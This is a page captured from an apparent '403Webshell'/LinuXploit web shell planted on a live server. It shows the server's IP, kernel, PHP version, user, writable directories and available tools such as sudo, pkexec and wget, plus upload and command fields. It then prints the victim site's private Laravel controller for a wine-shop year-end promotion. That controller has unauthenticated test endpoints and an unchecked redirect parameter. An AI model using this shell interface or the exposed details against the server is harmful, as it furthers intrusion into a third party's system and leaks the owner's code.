403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Http/Controllers/Website/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Http/Controllers/Website/AdegaViradaController.php
<?php

namespace App\Http\Controllers\Website;

use App\Http\Requests;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use App\Http\Controllers\BaseController;
use App\Modules\AdegaVirada\Services\AdegaViradaService;
use App\BasicInfo;
use App\Services\GeralService;
use App\Modules\Canal\Models\Canal;
use App\Modules\Produto\Models\Produto;
use App\Modules\Cadastro\Models\Cadastro;
use App\Modules\AdegaViradaCupom\Models\AdegaViradaCupom;
use App\Modules\AdegaViradaParticipante\Models\AdegaViradaParticipante;
use App\Modules\AdegaViradaParticipanteIndicacao\Models\AdegaViradaParticipanteIndicacao;
use App\Modules\AdegaViradaResultado\Models\AdegaViradaResultado;
use App\User;
use DB;

class AdegaViradaController extends BaseController
{

    public function index()
    {
        $anoEdicao = 2022;
        $adegaViradaInfo = AdegaViradaService::buscarAdegaVirada($anoEdicao);

        if(!$adegaViradaInfo || (($adegaViradaInfo) && (!$adegaViradaInfo->ativo || date('Y-m-d H:i:s') < $adegaViradaInfo->data_ativacao))){
            return redirect('/');
        }

        $data['adegaDaViradaInfo'] = $adegaViradaInfo;
        // $data['ofertas'] = AdegaViradaService::buscarOfertas($anoEdicao, false, 10);
        $data['clienteLogado'] = GeralService::buscarClienteLogado();

        $data['titulo_pagina'] = 'Adega';
        $data['subtitulo_pagina'] = 'Virada';

        $data['participante'] = false;
        if($data['clienteLogado'])
            $data['participante'] = AdegaViradaParticipante::where('cadastro_id', $data['clienteLogado']->id)->first();

        $data['regulamentoStatus'] = AdegaViradaService::regulamentoStatus();
        
        $canalAdegaVirada = Canal::where('id', $adegaViradaInfo->canal_id)->first();
        $data['canalAdegaVirada'] = $canalAdegaVirada;

        $filtros = [];
        $filtros['limitar'] = true;
        $filtros['removerAcessorios'] = true;
        $data['ofertas'] = GeralService::buscarOfertasCanal($canalAdegaVirada, $filtros);

        return view('site/adega-da-virada', $data);
    }

    public function buscarMaisOfertas($offset){
        $anoEdicao = 2022;
        $ofertas = AdegaViradaService::buscarOfertas($anoEdicao, $offset, 10);

        $html = '';
        if(isset($ofertas) && count($ofertas) > 0)
            foreach($ofertas as $oferta)
                $html .= view('adega-virada.oferta-item', ['oferta' => $oferta])->render();
                
        return response()->json([
            'status' => true, 
            'html' => $html
        ]);
    }

    public function resultadoAdegaDaVirada()
    {
        $anoEdicao = 2022;
        $adegaViradaInfo = AdegaViradaService::buscarAdegaVirada($anoEdicao, TRUE);

        if(!$adegaViradaInfo){
            return redirect('/');
        }

        $data['ganhador'] = AdegaViradaService::buscarGanhador($anoEdicao);
        $data['adegaVirada'] = $adegaViradaInfo;
        if(!$data['ganhador'])
            return redirect('/'); 

        $data['titulo_pagina'] = 'Resultado';
        $data['subtitulo_pagina'] = 'Adega Virada';
//        $data['ofertas'] = AdegaViradaService::buscarOfertas($anoEdicao, false, 10);

        $data['resultado'] = AdegaViradaResultado::where('adega_virada_id', $adegaViradaInfo->id)->first();
        
        return view('site/resultado-adega-da-virada', $data);
    }

    public function queroParticipar(Request $request)
    {
        return response()->json(AdegaViradaService::queroParticipar());
    }

    public function regulamento(){

        $anoEdicao = 2022;
        $adegaViradaInfo = AdegaViradaService::buscarAdegaVirada($anoEdicao);

        if(!$adegaViradaInfo || (($adegaViradaInfo) && (!$adegaViradaInfo->ativo || date('Y-m-d H:i:s') < $adegaViradaInfo->data_ativacao))){
            return redirect('/');
        }

        $data['clienteLogado'] = GeralService::buscarClienteLogado();
		$data['regulamentoStatus'] = AdegaViradaService::regulamentoStatus();

		return view('adega-virada.regulamento-adega-virada', $data);
	}

     public function regulamentoSucesso(){

        $anoEdicao = 2022;
        $adegaViradaInfo = AdegaViradaService::buscarAdegaVirada($anoEdicao);

        if(!$adegaViradaInfo || (($adegaViradaInfo) && (!$adegaViradaInfo->ativo || date('Y-m-d H:i:s') < $adegaViradaInfo->data_ativacao))){
            return redirect('/');
        }

        $data['adegaDaViradaInfo'] = $adegaViradaInfo;
        // $data['ofertas'] = AdegaViradaService::buscarOfertas($anoEdicao, false, 10);
        $data['clienteLogado'] = GeralService::buscarClienteLogado();

        $data['titulo_pagina'] = 'Adega';
        $data['subtitulo_pagina'] = 'Virada';

        $data['participante'] = false;
        if($data['clienteLogado'])
            $data['participante'] = AdegaViradaParticipante::where('cadastro_id', $data['clienteLogado']->id)->first();

        $data['regulamentoStatus'] = AdegaViradaService::regulamentoStatus();

        $canalAdegaVirada = Canal::where('id', $adegaViradaInfo->canal_id)->first();
        $data['canalAdegaVirada'] = $canalAdegaVirada;

        $filtros = [];
        $filtros['limitar'] = true;
        $filtros['removerAcessorios'] = true;
        $data['ofertas'] = GeralService::buscarOfertasCanal($canalAdegaVirada, $filtros);

		return view('adega-virada.regulamento-adega-virada-sucesso', $data);
	}

    public function novaIndicacao(Request $request){
        $cadastro = GeralService::buscarClienteLogado();
        $data = $request->input();

        if($data['email'] == '' || $data['nome'] == '')
            return response()->json([
                'status' => false,
                'message' => 'Você precisa informar o nome e e-mail!'
            ]);

        $checkCadastroConvite = User::where('email', $data['email'])->first();

        if($checkCadastroConvite)
            return response()->json([
                'status' => false,
                'message' => 'Este e-mail já está cadastrado na VinumDay!'
            ]);

        $checkConviteExistente = AdegaViradaParticipanteIndicacao::where('email', $data['email'])->first();

        if($checkConviteExistente)
            return response()->json([
                'status' => false,
                'message' => 'Este usuário já foi convidado!'
            ]);


        $indicacao = new AdegaViradaParticipanteIndicacao();
        $indicacao->adega_virada_participante_id = $cadastro->adegaViradaParticipante->id;
        $indicacao->nome_completo = $data['nome'];
        $indicacao->email = $data['email'];
        $indicacao->situacao = 'P';
        $indicacao->data_cadastro = date('Y-m-d H:i:s');
        $indicacao->save();

        //@wesley - $html = view()->render(); // carregar a lista de indicações para atualizar após o envio e fechamento do Modal

        return response()->json([
            'status'  => true,
            'message' => 'Convite enviado com sucesso!'
        ]);
    }

    public function criarCupomTeste(){
        $cupom = new AdegaViradaCupom();
        $cupom->adega_virada_participante_id = 2;
        $cupom->numero = rand(5,1000);
        $cupom->data_cadastro = date('Y-m-d H:i:s');
        $cupom->tipo = 'indicacao';
        $cupom->save();
        return;
    }

    public function emailTeste(){
        $emails = AdegaViradaService::enviarEmailResultado(2022);
        return;
    }
    
    public function adegaViradaConvite($codigo = false, Request $request)
    {
        $data = [];
        $data['titulo_pagina'] = 'Adega';
        $data['subtitulo_pagina'] = 'Virada';

        if($request->input('codigo')){
            $anoEdicao = 2022;
            $adegaViradaInfo = AdegaViradaService::buscarAdegaVirada($anoEdicao);

            if(!$adegaViradaInfo || (($adegaViradaInfo) && (!$adegaViradaInfo->ativo || date('Y-m-d H:i:s') < $adegaViradaInfo->data_ativacao))){
                return redirect('/');
            }

            $data['adegaDaViradaInfo'] = $adegaViradaInfo;
            $data['clienteLogado'] = GeralService::buscarClienteLogado();
            $data['codigo'] = $request->input('codigo');
            $data['email']  = $request->input('email');
            $data['redirect'] = $request->input('redirect');
            return view('adega-virada.adega-virada-convite', $data);
        }

        if(!$codigo){
            return redirect('/adega-da-virada');
        }

        $Participante = AdegaViradaParticipante::where('codigo', $codigo)->where('participando', 1)->first();

        if(!$Participante){
            return redirect('/adega-da-virada');
        }

        $clienteLogado = GeralService::buscarClienteLogado();
        $cadastro      = FALSE;

        if($clienteLogado){
            $cadastro = $clienteLogado;
        }elseif($request->input('email')){
            $User     = User::where('email', $request->input('email'))->first();
            if($User){
                $cadastro = $User->cliente;
            }
        }

        //se o usuário não tiver logado e não tiver conta na VinumDay /cadastro
        //se o usuário não tiver logado e tiver conta na VinumDay /login
        //se o usuário já tiver logado e não tiver /perfil/cupons-adega-da-virada
        //se o usuário já tiver logado e já tiver /perfil/cupons-adega-da-virada

        if(!$clienteLogado && !$cadastro){
            $adegaVirada =  AdegaViradaService::buscarAdegaVirada();

            if(isset($adegaVirada->canal_id)){
                $slugCanal = Canal::where('id', $adegaVirada->canal_id)->value('slug');
                $urlRedirect = url("/exclusivo/{$slugCanal}");
            }else{
                $urlRedirect = url("/perfil/cupons-adega-da-virada");
            }

            // $url = '/convite-adega-virada/' . $codigo . '?redirect=' . $urlRedirect;
            $url = '/adega-da-virada/convite?codigo=' . $codigo . '&redirect=' . $urlRedirect;
            if($request->input('email')){
                $url .= "&email=" . $request->input('email');
            }
            return redirect($url);
        }elseif(!$clienteLogado && $cadastro){
            return redirect('/login?redirect=' . url('/perfil/cupons-adega-da-virada'));
        }elseif($clienteLogado){ // && !$cadastro->confrariaMembro

            $Indicacao = AdegaViradaParticipanteIndicacao::where('adega_virada_participante_id', $Participante->id)->where('email', $clienteLogado->user->email)->first();

            $check = AdegaViradaParticipanteIndicacao::join('adega_virada_participante', 'adega_virada_participante.id', 'adega_virada_participante_indicacao.adega_virada_participante_id')
            ->where('adega_virada_participante_id', $Participante->id)
            ->where('email', $clienteLogado->user->email)
            ->where('adega_virada_participante.cadastro_id', $clienteLogado->id)
            ->first();

            if($check)
                return redirect('/perfil/cupons-adega-da-virada');
            
            if($clienteLogado->id != $Participante->cadastro_id){
                if(!$Indicacao){
                    DB::table('adega_virada_participante_indicacao')->insert([
                        [
                            'adega_virada_participante_id' => $Participante->id,
                            'cadastro_id'                  => $clienteLogado->id,
                            'nome_completo'                => $clienteLogado->nome_completo(),
                            'email'                        => $clienteLogado->user->email,
                            'telefone'                     => $clienteLogado->telefone,
                            'data_cadastro'                => date('Y-m-d H:i:s'),
                            'situacao'                     => 'P'
                        ]
                    ]);
                }elseif($Indicacao && empty($Indicacao->cadastro_id)){
                    $Indicacao->cadastro_id = $clienteLogado->id;
                    $Indicacao->save();
                }
            }

            return redirect('/perfil/cupons-adega-da-virada');

        }elseif($clienteLogado){ // && $cadastro->confrariaMembro
            return redirect('/perfil/cupons-adega-da-virada');
        }else{
            return redirect('/adega-da-virada');
        }

    }

    public function aceitarRegulamento(Request $request){
        $post = $request->input();

        if(!$post['regulamento'])
            return response()->json([
                'status' => false,
                'message' => 'Você precisa aceitar o regulamento para participar!'
            ]);

        $cadastro = GeralService::buscarClienteLogado();

        if(!$cadastro)
            return response()->json([
                'status' => false,
                'message' => 'Você precisa estar logado para participar!'
            ]);

        $participacao = AdegaViradaService::queroParticipar($cadastro->id, $post);
        return response()->json($participacao);
    }

    public function cancelarParticipacao(){
        $cadastro = GeralService::buscarClienteLogado();

        AdegaViradaParticipante::where('cadastro_id', $cadastro->id)
        ->update([
            'participando' => 0
        ]);

        return response()->json([
            'status' => true,
            'message' => 'Sua participação na Adega da Virada 2023 foi cancelada.',
        ]);
    }

    public function salvarCodigoPersonalizado(Request $request){
        $codigo = trim($request->input('codigo'));
        $cadastro = GeralService::buscarClienteLogado();

        $checkCodigo = AdegaViradaParticipante::where('codigo', $codigo)->first();

        if($codigo == '')
            return response()->json([
                'status' => false,
                'message' => 'Você precisa informar o código!'
            ]);

        if($checkCodigo)
            return response()->json([
                'status' => false,
                'message' => 'O Código informado já existe!'
            ]);

        $checkJaAlterou = AdegaViradaParticipante::where('cadastro_id', $cadastro->id)
        ->where('personalizou_codigo', 1)
        ->first();

        if($checkJaAlterou)
            return response()->json([
                'status' => false,
                'message' => 'Você já alterou o seu código uma vez!'
            ]);

        AdegaViradaParticipante::where('cadastro_id', $cadastro->id)
        ->update([
            'codigo' => $codigo,
            'personalizou_codigo' => 1
        ]);

        return response()->json([
            'status' => true,
            'message' => 'Código salvo com sucesso!'
        ]);
    }

    public function setContagemPopup(){
        $usuarioLogado = GeralService::buscarClienteLogado();

        if(!$usuarioLogado){
            return response()->json([
                'status' => false,
                'message' => 'Nenhum usuário encontrado.'
            ]);
        }

        if($usuarioLogado->adega_virada_popup_contagem < 3){
            Cadastro::where('id', $usuarioLogado->id)->increment('adega_virada_popup_contagem', 1);
        }

        return response()->json([
            'status' => true,
            'message' => $usuarioLogado->adega_virada_popup_contagem,
        ]);
    }

    public function modalRegulamento(){
        $usuarioLogado = GeralService::buscarClienteLogado();

        if(!$usuarioLogado){
            return response()->json([
                'status' => false,
                'message' => 'Nenhum usuário encontrado.'
            ]);
        }

        $data = [];
        $contentModal = view('adega-virada.modal-regulamento-content', $data);

        return response()->json([
            'status' => true,
            'message' => 'Modal adega virada',
            'html' => $contentModal->render()
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit